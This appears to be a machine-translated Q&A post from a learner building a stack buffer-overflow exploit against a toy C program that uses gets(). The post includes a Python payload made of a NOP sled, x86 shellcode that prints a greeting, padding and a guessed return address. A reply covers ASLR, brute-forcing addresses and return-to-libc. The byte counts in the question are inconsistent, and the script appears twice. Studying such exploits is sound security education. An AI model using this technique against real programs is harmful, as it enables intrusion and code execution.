C 缓冲区溢出辅助

C 缓冲区溢出辅助,c,buffer-overflow,exploit,C,Buffer Overflow,Exploit,我正在寻找一些帮助,以帮助我了解以下内容: #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) {char buffer[70]; gets(buffer);} 这就为NOP底座和任何填充留下了37个字节 (32 nop+55外壳+5“A”s+4指针)=96 我遇到的问题是获取

我正在寻找一些帮助,以帮助我了解以下内容:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{char buffer[70];
gets(buffer);}
这就为NOP底座和任何填充留下了37个字节

(32 nop+55外壳+5“A”s+4指针)=96

我遇到的问题是获取指针的地址。我似乎不知道那部分是怎么完成的

如果我的想法有任何错误,请让我知道,任何帮助都将不胜感激

以下是迄今为止我为它准备的Python:

shell="\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x54\x69\x67\x65\x72\x21\x0d\x0a"
nop = "\x90"*32
padding = "A"*(92 - 32 - 55) 
pointer = '\x48\xea\x90\xbf'

print nop + shell + padding + pointer

除非您有办法找到正确的偏移量(另一个漏洞),否则您将无法知道正确的值。堆栈在默认情况下是轻微随机的,在PAX情况下会更糟

你总是可以用一个潜在的地址做很多次,并希望做到最好。或者,如果您可以在加载的库中的某个地方找到正确的指令,并且二进制文件没有使用PIE编译,那么您可以尝试跳转到libc

shell="\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x54\x69\x67\x65\x72\x21\x0d\x0a"
nop = "\x90"*32
padding = "A"*(92 - 32 - 55) 
pointer = '\x48\xea\x90\xbf'

print nop + shell + padding + pointer